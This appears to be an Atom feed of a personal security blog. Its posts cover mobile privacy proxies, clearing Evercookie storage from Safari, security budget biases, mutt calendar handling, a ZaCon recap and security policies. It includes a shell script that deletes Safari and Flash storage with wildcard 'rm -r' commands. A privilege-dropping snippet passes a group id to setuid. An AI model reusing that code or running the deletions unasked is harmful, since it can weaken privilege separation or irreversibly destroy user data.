</div><div class="line" id="LC54">		<span class="k">try</span><span class="p">:</span></div><div class="line" id="LC55">			<span class="n">safe_setuid</span><span class="p">(</span><span class="n">running_uid</span><span class="p">)</span></div><div class="line" id="LC56">		<span class="k">except</span> <span class="ne">OverflowError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span></div><div class="line" id="LC57">			<span class="k">if</span> <span class="p">(</span><span class="n">running_uid</span> <span class="o">&gt;</span> <span class="mi">4294967290</span><span class="p">):</span></div><div class="line" id="LC58">				<span class="n">running_uid</span> <span class="o">=</span> <span class="o">-</span><span class="mi">4294967296</span> <span class="o">+</span> <span class="n">running_uid</span></div><div class="line" id="LC59">				<span class="n">safe_setuid</span><span class="p">(</span><span class="n">running_gid</span><span class="p">)</span></div><div class="line" id="LC60">
</div><div class="line" id="LC61">		<span class="c"># Ensure a very conservative umask</span></div><div class="line" id="LC62">		<span class="n">new_umask</span> <span class="o">=</span> <strong><span class="mo">077</span></strong></div><div class="line" id="LC63">		<span class="n">old_umask</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">umask</span><span class="p">(</span><span class="n">new_umask</span><span class="p">)</span></div><div class="line" id="LC64">		<span class="k">print</span><span class="p">(</span><span class="s">'drop_privileges: Old umask: </span><span class="si">%s</span><span class="s">, new umask: </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="p">(</span><span class="nb">oct</span><span class="p">(</span><span class="n">old_umask</span><span class="p">),</span> <span class="nb">oct</span><span class="p">(</span><span class="n">new_umask</span><span class="p">)))</span></div><div class="line" id="LC65">
</div><div class="line" id="LC66">	<span class="n">final_uid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getuid</span><span class="p">()</span></div><div class="line" id="LC67">	<span class="n">final_gid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getgid</span><span class="p">()</span></div><div class="line" id="LC68">	<span class="k">print</span><span class="p">(</span><span class="s">'drop_privileges: running as </span><span class="si">%s</span><span class="s">/</span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">pwd</span><span class="o">.</span><span class="n">getpwuid</span><span class="p">(</span><span class="n">final_uid</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span><span class="n">grp</span><span class="o">.</span><span class="n">getgrgid</span><span class="p">(</span><span class="n">final_gid</span><span class="p">)[</span><span class="mi">0</span><span class="p">]))</span></div></pre> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1040-Mobile-Privacy-Enhancing-Proxies.html" rel="alternate" title="Mobile Privacy-Enhancing Proxies" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-11-11T14:06:42Z</published>
        <updated>2011-11-11T14:06:42Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1040</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1040</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1040-guid.html</id>
        <title type="html">Mobile Privacy-Enhancing Proxies</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don't have the same extensibility. While searching for a way to implement this, I came up with <a href="http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html" title="GoogleSharing for other browsers">using proxy.pac</a> as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox &amp; Chrome), or the need to jailbreak.<br /> <p>Unfortunately, 1984.za.net is down, and since then I've done a bit more work on this. I presented this briefly in <a href="http://www.slideshare.net/sensepost/a-brave-new-world-9962265">my ITWeb presentation last year</a> (slides 27-30), and figure it was about time to make this properly public. I've put it up on my github at <a href="https://github.com/singe/mobile-proxy">mobile-proxy</a> (have I mentioned I love github).</p> 
<p>This is still pretty rough, but it proves the methodology and can be extended.</p> 
<p>Two interesting things to come out of it are:</p>
<p><strong>iOS Mobile Proxy Configuration </strong><br /></p>
<p>You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:</p> 
<p>&#160;</p> 
<pre>&lt;dict&gt;
	&lt;key&gt;HTTPEnable&lt;/key&gt;
		&lt;integer&gt;0&lt;/integer&gt;
	&lt;key&gt;HTTPProxyType&lt;/key&gt;
		&lt;integer&gt;2&lt;/integer&gt;
	&lt;key&gt;HTTPSEnable&lt;/key&gt;
		&lt;integer&gt;0&lt;/integer&gt;
	&lt;key&gt;ProxyAutoConfigEnable&lt;/key&gt;
		&lt;integer&gt;1&lt;/integer&gt;
	&lt;key&gt;ProxyAutoConfigURLString&lt;/key&gt;
		&lt;string&gt;https://&lt;host&gt;/proxy.php&lt;/string&gt;
&lt;/dict&gt;
</pre> 
<p>It was pointed out on twitter that the <a href="https://developer.apple.com/library/ios/#featuredarticles/FA_iPhone_Configuration_Utility/Introduction/Introduction.html#//apple_ref/doc/uid/TP40010176-CH1-SW30">iPhone Configuration Utility</a> should allow this to be done without the need to jailbreak. I'll test it and update things if it works. <br /></p>
<p><strong>BlackHole Proxy</strong> <br /></p>
<p>The second interesting thing, is that to block access to a website just redirecting to a non-existent server won't work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick 'n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It's included on github. </p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1014-Killing-the-Evercookie.html" rel="alternate" title="Killing the Evercookie" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-10-13T04:56:00Z</published>
        <updated>2011-11-09T15:22:30Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1014</wfw:comment>
    
        <slash:comments>11</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1014</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1014-guid.html</id>
        <title type="html">Killing the Evercookie</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>(Hi Slashdot &amp; The Register readers. Make sure to check the <a href="http://www.singe.za.net/blog/archives/1016-Killing-the-Evercookie-Part2-MobileSafari.html" title="Killing the Evercookie - Part2 iOS">2nd part</a> on killing iPhone Evercookie's too) <br /></p>
<p>

Samy Kamar recently released his tool, <a title="Evercookie" href="http://samy.pl/evercookie">evercookie</a>. This uses multiple persistent data stores to set unique identifiers that can be used to identify your browser to a website. While my default Firefox browsing setup is safe against it, I noticed that the &quot;disposable&quot; Safari instance I used was not. I sometimes use a clean Safari instance to test or access things the tinfoil on my Firefox does not let me. After each use I reset everything in it. However, I noticed that evercookie would persist. Here's how to delete it and others using the same mechanisms for Safari on OSX 10.6 (working out the same for other browsers/OS' isn't too difficult):
</p> When the evercookie is created, is shows as existing in the following locations (note: just visiting the site sets up some of the evercookie containers):<br /> 
<blockquote>userData mechanism: undefined<br />cookieData mechanism: 362<br />localData mechanism: 362<br />globalData mechanism: undefined<br />sessionData mechanism: 362<br />historyData mechanism: undefined<br />pngData mechanism: 362<br />etagData mechanism: 362<br />dbData mechanism: 362<br />lsoData mechanism: 362<br /></blockquote><br />If I reset Safari, but don't restart it, the cookie persists in these four locations. The force-cached PNG uses an RGB value as the identifier and is only cleared after a reset and restart:<br /> 
<blockquote>pngData mechanism: 362<br />etagData mechanism: <br />userData mechanism: undefined<br />cookieData mechanism: undefined<br />localData mechanism: 362<br />globalData mechanism: undefined<br />sessionData mechanism: null<br />historyData mechanism: undefined<br />dbData mechanism: 362<br />lsoData mechanism: 362<br /></blockquote><br />However, even a reset and restart leaves us with the two HTML5 localData and SQLite locations, and a flash cookie:<br /> 
<blockquote>pngData mechanism: undefined<br />etagData mechanism: <br />userData mechanism: undefined<br />cookieData mechanism: undefined<br />localData mechanism: 362<br />globalData mechanism: undefined<br />sessionData mechanism: null<br />historyData mechanism: undefined<br />dbData mechanism: 362<br />lsoData mechanism: 362<br /></blockquote><br />To this end, I wrote a small script (which Bernd turned into a <a href="http://welcome2inter.net/news/files/kill-evercookie.zip">GUI app</a> for OSX) which will remove these and other cookies:<br /><br /> 
<blockquote><font face="courier new,courier,monospace">cat evercookie-kill.sh </font><br /><font face="courier new,courier,monospace">#!/bin/bash</font><br /><font face="courier new,courier,monospace">echo &quot;Deleting evercookie locations Safari missed (see samy.pl/evercookie)&quot;</font><br /><font face="courier new,courier,monospace">rm -r ~/Library/Safari/Databases/*</font><br /><font face="courier new,courier,monospace">rm -r ~/Library/Safari/LocalStorage/*</font><br /><font face="courier new,courier,monospace">rm -r ~/Library/Preferences/Macromedia/Flash\ Player/\#SharedObjects/*</font><br /></blockquote><br />Running the script while Safari is running will have no effect. For it to work fully, you will need to reset Safari, exit, then run the script. This will clear out all the locations currently implemented in evercookie. While checking these locations, I was surprised to find data from all sorts of other sites, hence the removal of &quot;*&quot;, but you can replace it with &quot;samy.pl&quot; if you want to target Samy's evercookie specifically (note, that's not the same as someone else's site implementing the evercookie). While the flash cookies had a large number of sites, there were a couple (cnn, foxnews, twitter and a few others I can't remember) using the HTML5 locations.<br /><br /> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html" rel="alternate" title="Squinting at Security Drivers &amp; Perspective-based Biases" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-11-01T17:17:28Z</published>
        <updated>2011-11-02T10:28:15Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1039</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1039</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1039-guid.html</id>
        <title type="html">Squinting at Security Drivers &amp; Perspective-based Biases</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p><em>Originally published on <a href="http://www.sensepost.com/blog/6287.html">SensePost's blog</a>.</em> <br /></p> 
<p>While doing some thinking on threat modelling I started examining 
what the usual drivers of security spend and controls are in an 
organisation. I've spent some time on multiple fronts, security 
management (been audited, had CIOs push for priorities), security 
auditing (followed workpapers and audit plans), pentesting (broke in 
however we could) and security consulting (tried to help people fix 
stuff) and even dabbled with trying to sell some security hardware. This
 has given me some insight (or at least an opinion) into how people have
 tried to justify security budgets, changes, and findings or how I tried
 to. This is a write up of what I believe these to be (caveat: this is 
my opinion). This is certainly not universalisable, i.e. it's possible 
to find unbiased highly experienced people, but they will still have to 
fight the tendencies their position puts on them. What I'd want you to 
take away from this is that we need to move away from using these 
drivers in isolation, and towards more holistic risk management 
techniques, of which I feel threat modelling is one (although this entry
 isn't about threat modelling).

</p> <div class="entry_content"><strong>Auditors
</strong> 
<p>The tick box monkeys themselves, they provide a useful function, and 
are so universally legislated and embedded in best practise, that 
everyone has a few decades of experience being on the giving or 
receiving end of a financial audit. The priorities audit reports seem to
 drive are:
</p> 
<ul> 
<li><strong>Vulnerabilities in financial systems</strong>. The whole 
audit hierarchy was created around financial controls, and so sticks 
close to financial systems when venturing into IT's space. Detailed and 
complex collusion possibilities will be discussed when approving 
payments, but the fact that you can reset anyone's password at the 
helpdesk is sometimes missed, and more advanced attacks like token 
hijacking are often ignored.</li> 
<li><strong>Audit house priorities</strong>. Audit houses get driven 
just like anyone else. While I wasn't around for Enron, the 
reverberations could still be felt years later when I worked at one. 
What's more, audit houses are increasingly finding revenue coming from 
consulting gigs and need to keep their smart people happy. This leads to
 external audit selling &quot;add-ons&quot; like identity management audits 
(sometimes, they're even incentivised to).</li> 
<li><strong>Auditor skills</strong>. The auditor you get could be an 
amazing business process auditor but useless when it comes to infosec, 
but next year it could be the other way around. It's equally possibly 
with internal audit. Thus, the strengths of the auditor will determine 
where you get nailed the hardest.</li> 
<li><strong>The Rotation plan</strong>. This year system X, next year 
system Y. It doesn't mean system X has gotten better, just that they 
moved on. If you spend your year responding to the audit on system Y and
 ignore X, you'll miss vital stuff.</li> 
<li><strong>Known systems</strong>. External and internal auditors 
don't know IT's business in detail. There could be all sorts of critical
 systems (or pivot points) that are ignored because they weren't in the 
&quot;flow of financial information&quot; spread sheet.</li> 
</ul> <strong>Vendors
</strong>
Security vendors are the love to hate people in the infosec world. 
Thinking of them invokes pictures of greasy salesmen phoning your CIO to
 ask if your security chumps have even thought about network admission 
control (true story). On the other hand if you've ever been a small team
 trying to secure a large org, you'll know you can't do it without 
automation and at some point you'll need to purchase some products. 
Their marketing and sales people get all over the place and end up 
driving controls; whether it's “management by in-flight magazine”, an 
idea punted at a sponsored conference, or the result of a sales meeting. 

<p>But security vendors prioritisation of controls are driven by:
</p> 
<ul> 
<li><strong>New Problems</strong>. Security products that work 
eventually get deployed everywhere they're going to be deployed. They 
continue to bring in income, but the vendor needs a new bright shiny 
thing they can take to their existing market and sell. Thus, new 
problems become new scary things that they can use to push product. 
Think of the Gartner hype curve. Whatever they're selling, be it DLP, 
NAC, DAM, APT prevention or IPS if your firewall works more like a 
switch and your passwords are all &quot;P@55w0rd&quot; then you've got other 
problems to focus on first.</li> 
<li><strong>Overinflated problems</strong>. Some problems really aren't
 as big as they're made out to be by vendors, but making them look big 
is a key part of the sell. Even vendors who don't mean to overinflate 
end up doing it just because they spend all day thinking of ways to 
justify (even legitimate) purchases.</li> 
<li><strong>Products as solutions</strong>. Installing a product 
designed to help with a problem isn't the same as fixing the problem, 
and vendors aren't great at seeing that (some are). Take patch 
management solutions, there are some really awesome, mature products out
 there, but if you can't work out where your machines are, how many 
there are or get creds to them, then you've got a long way to go before 
that product starts solving the problem it's supposed to.</li> 
</ul> <strong>Pentesters</strong> 
<p>Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a 
flurry of media reports hit the public and some people go into panic 
mode. I remember <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Dan_Kaminsky%22%20%5Cl%20%22Flaw_in_DNS">The DNS bug</a>,
 where all that was needed was for people to apply a patch, but which, 
due to the publicity around it, garnered a significant amount of 
interest from people who it usually wouldn't, and probably shouldn't 
have cared so much. But many pentesters trade on this publicity; and 
some pentesting companies use this instead of a marketing budget. That's
 not their only, or primary, motivation, and in the end things get 
fixed, new techniques shared and the world a better place. The cynical 
view then is that some of the motivations for vulnerability researchers,
 and what they end up prioritising are:
</p> 
<ul> 
<li><strong>New Attacks</strong>. This is somewhat similar to the vendors optimising for &quot;new problems&quot; but not quite the same. When Errata introduced <a href="http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html">Hamster at ToorCon ‘07</a>,
 I heard tales of people swearing at them from the back. I wasn't there,
 but I imagine some of the calls were because Layer 2 attacks have been 
around and well known for over a decade now. Many of us ignored 
FireSheep for the same reason, even if it motivated the biggest moves to
 SSL yet. But vuln researchers and the scene aren't interested, it needs
 to be shiny, new and leet . This focus on the new, and the press it 
drives, has defenders running around trying to fix new problems, when 
they haven't fixed the old ones.</li> 
<li><strong>Complex Attacks</strong>. Related to the above, a new 
attack can't be really basic to do well, it needs to involve 
considerable skill. When Mark Dowd released his <a href="http://chargen.matasano.com/chargen/2007/7/3/this-new-vulnerability-dowds-inhuman-flash-exploit.html">highly complex flash attack</a>,
 he was rightly given much kudos. An XSS attack on the other hand, was 
initially ignored by many. However, one lead to a wide class of 
prevalent vulns, while the other requires you to be, well, Mark Dowd. 
This mean some of the issues that should be obvious, that underpin core 
infrastructure, but that aren't sexy, don't get looked at.</li> 
<li><strong>Shiny Attacks</strong>. Some attacks are just really well 
presented and sexy. Barnaby Jack had an ATM spitting out cash and 
flashing &quot;Jackpot&quot;, that's cool, and it gets a room packed full of 
people to hear his talk. Hopefully it lead to an improvement in security
 of some of the ATMs he targeted, but the vulns he exploited were the 
kinds of things big banks had mostly resolved already, and how many 
people in the audience actually worked in ATM security? I'd be 
interested to see if the con budget from banks increased the year of his
 talk, even if they didn't, I suspect many a banker went to his talk 
instead of one that was maybe talking about a more prevalent or relevant
 class of vulnerabilities their organisation may experience. Something 
Thinkst says much better <a href="http://blog.thinkst.com/2011/01/is-answer-more-infosec-conferences.html">here</a>.</li> 
</ul> <strong>Individual Experience</strong> 
<p>Unfortunately, as human beings, our decisions are coloured by a bunch
 of things, which cause us to make decisions either influenced or 
defined by factors other than the reality we are faced with. A couple of
 those lead us to prioritising different security motives if decision 
making rests solely with one person:
</p> 
<ul> 
<li><strong>Past Experience</strong>. Human beings develop through 
learning and consequences. When you were a child and put your hand on a 
stove hot plate, you got burned and didn't do it again. It's much the 
same every time you get burned by a security incident, or worse, 
internal political incident. There's nothing wrong with this, and it's 
why we value experience; people who've been burned enough times not to 
let mistakes happen again. However, it does mean time may be spent 
preventing a past wrong, rather than focusing on the most likely current
 wrong. For example, one company I worked with insisted on an overly 
burdensome set of controls to be placed between servers belonging to 
their security team and the rest of the company network. The reason for 
this was due to a previous incident years earlier, where one of these 
servers had been the source of a Slammer outbreak. While that network 
was never again a source of a virus outbreak, their network still got 
hit by future outbreaks from normal users, via the VPN, from business 
partners etc. In this instance, past experience was favoured over a 
comprehensive approach to the actual problem, not just the symptom.</li> 
<li><strong>New Systems</strong>. Usually, the time when the most 
budget is available to work on a system is during its initial 
deployment. This is equally true of security, and the mantra is for 
security to be built in at the beginning. Justifying a chunk of security
 work on the mainframe that's been working fine for the last 10 years on
 the other hand is much harder, and usually needs to hook into an 
existing project. The result is that it's easier to get security built 
into new projects than to force an organisation to make significant 
“security only” changes to existing systems. The result in those that 
present the vulnerabilities pentesters know and love get less frequently
 fixed.</li> 
<li><strong>Individual Motives</strong>. We're complex beings with all 
sorts of drivers and motivations, maybe you want to get home early to 
spend some time with your kids, maybe you want to impress Bob from 
Payroll. All sorts of things can lead to a decision that isn't 
necessarily the right security one. More relevantly however, security 
tends to operate in a fairly segmented matter, while some aspects are 
“common wisdom”, others seem rarely discussed. For example, the way the 
CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up 
their controls and choose their focus could be completely different, but
 beyond general industry chit-chat, there will be little detailed 
discussion of how they're securing integration to their dealership 
network. They rely on consultants, who've seen both sides for that. Even
 then, one consultant may think that monitoring is the most important 
control at the moment, while another could think mobile security is it.</li> 
</ul> <strong>So What?</strong> 
<p>The result of all of this is that different companies and people push
 vastly different agendas. To figure out a strategic approach to 
security in your organisation, you need some objective risk based 
measurement that will help you secure stuff in an order that mirrors the
 actual risk to your environment. While it's still a black art, I 
believe that Threat Modelling helps a lot here, a sufficiently 
comprehensive methodology that takes into account all of your 
infrastructure (or at least admits the existence of risk contributed by 
systems outside of a “most critical” list) and includes valid 
perspectives from above tries to provide an objective version of reality
 that isn't as vulnerable to the single biases described above.</p> 
</div> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1038-mutt-iCal-some-OSX-specific.html" rel="alternate" title="mutt &amp; iCal (some OSX specific)" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-10-24T16:56:47Z</published>
        <updated>2011-10-26T12:15:45Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1038</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1038</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/5-Geek" label="Geek" term="Geek" />
    
        <id>http://www.singe.za.net/blog/archives/1038-guid.html</id>
        <title type="html">mutt &amp; iCal (some OSX specific)</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>I moved back to the world of civilized e-mail, i.e. mutt. It's been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX's handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I'd rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.<br /></p> <p>I found a script <a href="https://github.com/marvinthepa/mutt-ical">mutt-ical</a>, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt &quot;send&quot; settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.</p> 
<ul> 
<li>Download my version <a href="https://github.com/singe/mutt-ical">here</a>. (<del>I'd submit a patch, but the developer has no working contact details</del> I worked out how git pull request work :) )<br /></li> 
<li>Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)</li> 
<li>Edit your mailcap to have the following line:</li> 
<ul> 
<li><font face="courier new,courier,monospace">text/calendar; &lt;path&gt;mutt-ical.py -i -e 
&quot;user@domain.tld&quot; %s</font></li> 
<li><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):</font></font></li>
<li><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif"></font>text/calendar; open %s &amp;&amp; ~/bin/mutt-ical.py -i -e &quot;dominic@sensepost.com&quot; %s; nametemplate=%s.ics<br /></font></li> 
<li style="direction: ltr;"><del><font face="courier new,courier,monospace">text/calendar; mv %s %s.ics &amp;&amp; open %s.ics &amp;&amp; &lt;path&gt;mutt-ical.py -i -e &quot;user@domain.tld&quot; %s.ics &amp;&amp; rm %s.ics </font></del><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">(I found nametemplate fixes this problem)</font><br /></font></li> 
</ul> 
<li style="direction: ltr;"><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">You can force iCal to stop trying to send mail on your behalf by replacing the file<font face="courier new,courier,monospace"> /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt </font>with your own ActionScript. I went with the following: <font face="courier new,courier,monospace">error number -128</font> Which tells it that the user cancelled the action.</font></font></li> 
<ul> 
<li style="direction: ltr;"><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">Open AppleScript Editor, paste the code from above into a new script, then save it.</font></font></li> 
<li style="direction: ltr;"><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">Move the old script </font></font><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif"><font face="courier new,courier,monospace">/Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt </font></font></font><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">just in case you want to re-enable the functionality.</font></font></li> 
<li style="direction: ltr;"><font face="courier new,courier,monospace"><font face="arial,helvetica,sans-serif">Copy your new script into place.</font><br /></font></li> 
</ul> 
</ul> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html" rel="alternate" title="ZaCon III - TBOY" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-10-10T07:20:15Z</published>
        <updated>2011-10-10T09:32:39Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1036</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1036</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1036-guid.html</id>
        <title type="html">ZaCon III - TBOY</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <h2>TBOY - The Best One Yet</h2> 
<p>ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.<br /></p> 
<h2>&quot;It looks a bit eclectic&quot; <br /></h2> 
<p>Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as &quot;what I always imagined ZaCon should be&quot; which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.</p> <h2>Coffee was Flowing, Hangovers were Showing <br /></h2> 
<p>Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, 
but by the first tea break we had a duct taped alternative projector 
stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks 
started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt &amp; Prince Sihlahla. Our local site <a href="http://local.zacon.org.za">(local.zacon.org.za,</a> up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.</p> 
<p>My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The &quot;can I go to jail if&quot; talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.</p> 
<p>We'll be collecting slides, <a href="http://www.discussit.co.za/">DiscussIT</a> will be publishing audio, and some time later we'll try get the videos out. <br /></p> 
<h2>ZaCon IV</h2> 
<p>We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the <a href="mailto:community@zacon.org.za">community@zacon.org.za</a> mailing list or join the #zacon chan on irc.atrum.org.</p> 
<h2> Thanks</h2> 
<p>So many people did so many things, here's a brief list of people who need thanking in no particular order</p> 
<ul> 
<li>The speakers - without you guys there's no con</li> 
<li>People@ - you know who you are</li> 
<li>The volunteers</li> 
<ul> 
<li>Local site - Ralfe</li> 
<li>Internets - Peter, Prince</li> 
<li>Registration - Tim, Ross</li> 
<li>Badges - Andrew</li> 
<li>Venue - Sagi &lt;-- Big shouts to this guy, who did some some hard work</li> 
<li>Audio &amp; Video - Tony and Jameel</li> 
</ul> 
<li>Attendees - presenting to an empty room wouldn't be as much fun</li> 
<li>University of Johannesburg - for hosting us</li> 
<li>Cafe Pronto - for the coffee<br /></li> 
</ul> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html" rel="alternate" title="Security Policies - Go Away" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-07-19T11:27:00Z</published>
        <updated>2011-07-19T11:28:22Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1035</wfw:comment>
    
        <slash:comments>2</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1035</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1035-guid.html</id>
        <title type="html">Security Policies - Go Away</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p><em>This is re-published, from <a href="http://www.sensepost.com/blog/5953.html">the original</a> on the SensePost blog.</em> <br /></p> 
<p>Security policies are necessary, but their focus is to the detriment of 
more important security tasks. If auditors had looked for trivial SQL 
injection on a companies front-page as hard as they have checked for 
security polices, then maybe our industry would be in a better place. I 
want to make this go away, I want to help you tick the box so you can 
focus on the real work. If you just want the &quot;tool&quot; skip to the end.

</p> <p>A year and a half ago, SensePost started offering &quot;build it&quot; rather 
than &quot;break it&quot; consulting services, we wanted to focus on technical, 
high-quality advisory work. However, by far the most frequently 
&quot;consulting&quot; request we've seen has been asking for security policies. 
Either a company approaches us looking for them explicitly or they want 
them bolted on to other work. The gut feel I've picked up over the years
 is that if someone is asking you to develop security policies for them,
 then either they're starting on security at the behest of some external
 or compliance requirement or they're hoping that this is the first step
 in an information security program. (Obviously, I can't put everything 
into the same bucket, but I'm talking generally) Both are rational 
reasons to want to get your information security policies sorted, but 
getting outside consultants to spend even a week's worth of time 
developing them for you, is time that could be better spent in my 
opinion. My reasons for this are two-fold:
</p> 
<ul> 
<li>If you're starting a security program, then you have a lot to learn
 and possibly a lot of convincing of senior management to do. Something 
like an internal penetration test (not that I'm advocating this 
specifically instead of policy) will give you far more insight into the 
security of your environment and a lot more &quot;red ink&quot; that can be used 
to highlight the risk to the &quot;higher ups&quot;.</li> 
<li>Security policies don't &quot;do&quot; anything. They are a representation of
 management's intention and agreements around security controls, which 
in the best case, provide a &quot;cover my ass&quot; defense if an employee takes 
you to task for intercepting their e-mails or something similar. The 
policies need to be used to derive actual controls, and are not controls
 in themselves.</li> 
</ul>
Instead, we too often end up in a world where <strong>security policies</strong>,
 rather than good security, is the end goal while new technologies keep 
us amused developing new ones (mobile policies, social media policies, 
data leakage policies etc.) 



